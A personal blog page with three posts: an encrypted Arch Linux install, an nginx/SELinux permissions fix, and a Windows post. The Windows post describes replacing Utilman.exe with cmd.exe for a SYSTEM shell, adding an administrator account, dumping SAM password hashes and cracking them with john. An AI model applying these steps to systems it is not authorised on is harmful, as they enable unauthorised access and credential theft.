Install Arch Linux
April 13, 2018
Objective
Install Arch Linux with the following features:
- UEFI
- GPT
- Encrypted boot partition (i.e. kernel and initramfs)
- Encrypted root partition with LVM on LUKS
I've never encrypted the boot partition before and have always wanted to learn how it would work; I decided to see if I could do it. The point of encrypting the boot partition is to defend against an offline attacker, who could replace parts of initramfs. Having it encrypted makes it even harder to attack your system, but still not impossible.
Note for Dell Precision Users
- Disable SecureBoot
- Change from SATA mode from RAID to AHCI
- When you reboot, your are going to have to manually add the EFI as a bootable option in BIOS
Create Partitions
We need to create two partitions:
- An EFI System Partition (ESP)
- A root partition
Optionally, you can create a home partition in the same fashion we create a root partition; don't forget to mount it and do the normal steps from the Arch Linux Installation Guide. I prefer to not have a seperate home partition, hence my instructions do not consider it.
# Use a GUID Partition Table (GPT)
$ parted /dev/nvme0n1 mklabel gpt
# Create an ESP partiion in the first 512MiB
$ parted /dev/nvme0n1 mkpart primary fat32 2048s 512MiB
$ parted /dev/nvme0n1 set 1 esp on
$ parted /dev/nvme0n1 name 1 esp
# Create our root partition
$ parted /dev/nvme0n1 mkpart primary ext4 512MiB 100%
$ parted /dev/nvme0n1 name 2 root
You can verify using parted <device> print
:
$ parted /dev/nvme0n1 print
...
Partition Table: gpt
Disk Flags:
Number Start End Size File System Name Flags
1 1049kB 537MB 536MB esp boot, esp
2 537MB 512GB 512GB root
Note: We have not installed the File System yet, that is why it is currently blank.
We need to format the esp, leave the root partition for now.
# Format the esp partition with FAT32
$ mkfs.fat -F32 /dev/nvme0n1p1
Create the Root File System
We will follow most of the recommendations from the wiki.
important: Do not use luks2, the method for encrypting the bootloader does not support luks2 at the time of writing.
# Create the LUKS encrypted container
$ cryptsetup luksFormat /dev/nvme0n1p2
# Open the container to /dev/mapper/lvm
$ cryptsetup open /dev/nvme0n1p2 lvm
# Create the volumes
$ pvcreate /dev/mapper/lvm
$ vgcreate archvol /dev/mapper/lvm
$ lvcreate -L 8G archvol -n swap
$ lvcreate -l 100%FREE archvol -n root
# Format swap and root
$ mkswap /dev/mapper/archvol-swap
$ mkfs.ext4 /dev/mapper/archvol-root
For more information about LVM you can find plenty of tutorials online, I used this one from Linoxide.
Install Arch
To install Arch we need to mount our system to /mnt and use pacstrap
.
# Mount the partitions
$ mount /dev/mapper/archvol-root /mnt
$ swapon /dev/mapper/archvol-swap
# Change your mirrorlist
$ vim /etc/pacman.d/mirrorlist
# Install arch
$ pacstrap /mnt base base-devel
After installing Arch, mount the ESP.
$ mkdir /mnt/boot/esp
$ mount /dev/nvme0n1p1 /mnt/boot/esp
Once that is installed, and you've mounted the ESP, follow the Configure The System part of the Installation Guide up until the Initramfs/mkinitcpio stage.
You should be chroot'd into your new install when you get to the initramfs stage.
Initramfs
We are going to remake the initramfs after chaning the config
Open the configuration file:
$ vim /etc/mkinitcpio.conf
Add the keyboard, encrypt and lvm2 hooks to mkinitcpio.conf:
HOOKS=(... keyboard block encrypt lvm2 ... filesystems ...)
Re-run mkinitcpio
Boot Loader
Here is the trickiest bit. I would read this to make sure the information here is not outdated: GRUB#UEFI_systems
We want UEFI to load the ESP, which needs to know how to decrypt Grub, and Grub needs to know how to decrypt the LUKS container and mount the LVM volumes.
Install Grub (make sure you are chroot'd in to your /mnt)
$ pacman -S grub efibootmgr
Let GRUB know about the LUKS encrypted device. We are going to need the UUID of the device, I use blkid
to get this.
$ blkid >> /tmp/blkid.out
$ vim -O /tmp/blkid.out /etc/default/grub
In /etc/default/grub
we want to change two things:
- Add a cryptdeviuce and root argument as kernel paramters
- Enable CRYPTODISK
Adding the kernel parameters:
# Change this Line
GRUB_CMDLINE_LINUX=""
# TO something like this, ensuring:
# - you get the right UUID (from the blkid output)
# - use the correct device name (during crypsetup open, and pvcreate)
# - use the correct volume name (during vgcreate)
GRUB_CMDLINE_LINUX="cryptdevice=UUID=<insert-device-uuid-for-nvme0n1p2-here>:lvm root=/dev/mapper/archvol-root"
Install Grub, if you have an intel cpu, install the 'intel-ucode' package before doing this.
$ grub-mkconfig -o /boot/grub/grub.cfg
$ grub-install --target=x86_64-efi --efi-directory=/boot/esp --bootloader-id=grub_arch
Reboot
We can now reboot after we dismount everything.
# Exit the chroot
$ exit
# Close everything
$ swapoff /dev/mapper/archvol-swap
$ umount -R /mnt
$ vgchange -an archvol
$ cryptsetup close /dev/mapper/lvm
# Cross your fingers
$ reboot
You may have to manually add the EFI as a bootable option in BIOS. I had to on a Dell.
Messing with Windows
September 1, 2016
Mounting Windows on Linux
$ sudo pacman -S ntfs-3g
$ mkdir /mnt/windows
$ mount /dev/sdxX /mnt/windows
Utilman.exe
Utilman.exe is a program run by windows with the hokey "windows + U". It even runs before the user has logged in at the login screen. The other important thing to note, is it runs under the SYSTEM user on Windows; this is equivalent to root on *nix systems. Therefore, we can replace the Utilman.exe with an executable of our own, for example, I used cmd.exe. I've got a bootable USB with Arch Linux on it and I have used it to mount the Windows file system and change the executables around.
$ cd /mnt/windows/Windows/System32
$ cp Utilman.exe Utilman.exe.bak
$ cp cmd.exe Utilman.exe
After rebooting, hit the hotkey and you now have a SYSTEM command prompt. I then added a user with:
net user anonymoususername password1234 /add
net localgroup Administrators anonymoususername /add
Clearing the Admin Password
If you ever forget your administrator password and don't want to mess with SYSTEM files, you can just clear the admin password with a program called chntpw. It's a prety self explanatory program that you run interactively.
Cracking the Hashes
If you ever have access to a system and you want to get the original password out, we will need to crack the password hash. This could take some time to crack, I'd highly recommend using a few password lists from github when doing this. Links below. First of all, we need to get the hashes out. To do that, we mount the windows system on linux, and then use samdump2 to dump the hashes.
$ cd /mnt/windows/Windows/System32/config/
$ sudo samdump2 SYSTEM SAM > /tmp/hashes
That file now has the hashes in it. Mine were of this form:
anonymoususername:1010:\
aad3b435b51404eeaad3b435b51404ee:\
23a8d92ef46bbe75d8cc807787bbc45b:::
I cracked this with john the ripper and a word list called rockyou.txt.
john --wordlist=rockyou.txt --format=NT2 /tmp/hashes
nginx and SELinux
July 7, 2016
I am learning nginx and decided to use a RHEL linux server to do so. I installed and ran nginx and hit the delightful "Welcome to nginx!" when accessing the public IP (e.g. 1.2.3.4) of the site. Okay, all good.
I wanted to use server_name to run multiple webservers on the same port on the same machine. I pointed a different URL of mine at the IP (1.2.3.4) using (e.g. example.com) and created a second config file that would address example.com and serve a very basic HTML file from a different directory.
server {
listen 80;
server_name example.com;
root /var/www/example.com;
location / {
try_files $uri /index.html;
}
}
I then modified the default.conf to only handle the IP of the site.
server {
listen 80;
server_name 1.2.3.4;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
Okay, looks good. I restarted nginx and deciding to check 1.2.3.4. It showed me the welcome page as expected. However, example.com showed a 403 forbidden error.
Let's check the permissions:
$ namei -l /var/www/example.com/index.html
f: /var/www/example.com/index.html
dr-xr-xr-x root root /
drwxr-xr-x root root var
drwxr-xr-x root root www
drwxr-xr-x root root example.com
-rw-r--r-- root root index.html
They look fine to me... so what's going on? Let's check to see if it matches the directory nginx is currently serving out of for 1.2.3.4.
/usr/share/nginx/html/index.html
dr-xr-xr-x root root /
drwxr-xr-x root root usr
drwxr-xr-x root root share
drwxr-xr-x root root nginx
drwxr-xr-x root root html
-rw-r--r-- root root index.html
They seem to match to me. What is going on... I found the error log for nginx under /var/log/nginx/error.log which showed me this line:
... "/var/www/example.com/index.html" is forbidden (13: Permission denied)...
Not very helpful, after some research I found this post which fixed my problem. It turns out that this thing called SELinux was stopping nginx from accessing that directory. I had never heard of SELinux before and after some research I found that it was a very powerful security tool for managing fine-grained access between processes and objects like ports, files, and dirs. It does this by tagging objects with a user, role, and type. The type is most important here. A process tagged with type A can only access certain types. For example, we can see nginx's type using the Z flag.
$ ps -eZ | grep nginx
system_u:system_r:httpd_t:s0 30956 ? 00:00:00 nginx
system_u:system_r:httpd_t:s0 30957 ? 00:00:00 nginx
The Z flag allows us to see the security data in the from of user:role:type. You can see that the type of the nginx process is httpdt. It can access certain types like usrt and httpdsyscontentt. The content I was attempting to serve was vart, something httpdt processes can not access. All I had to do was change the type of my files that I am serving to a proper type and everything should be dandy. I will also changed the user to be systemu to make things consistent.
$ chcon -R -t httpd_sys_content_t -u system_u /var/www
$ ls -Zd /var/www
drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 www/
$ ls -Zd /var/www/example.com
drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 example.com/
$ ls -Zd /var/www/example.com/index.html
-rw-r--r--. root root system_u:object_r:httpd_sys_content_t:s0 index.html
Now, I restarted nginx for good measure and I can now see my page with 200 OK.
I'd highly recommened watching this video and learning some things about SELinux if your a webmaster, web-admin, using Apache, NGINX, httpd or similar. Some useful commands to checkout are:
getsebool -- gets a list of all booleans SELinux has
setsebool -- sets a boolean, temporarily or permanently
chcon -- change the user, role, or type of a dir/file
sestatus -- gets the current status of SELinux
getenforce -- gets the current enforcing mode of SELinux
setenforce -- change the current enforcing mode, (i.e. turns SELinux on/off)
Contains the booleans that differ from default:
/etc/selinux/targeted/modules/active
Contains the default modes:
/etc/sysconfig/selinux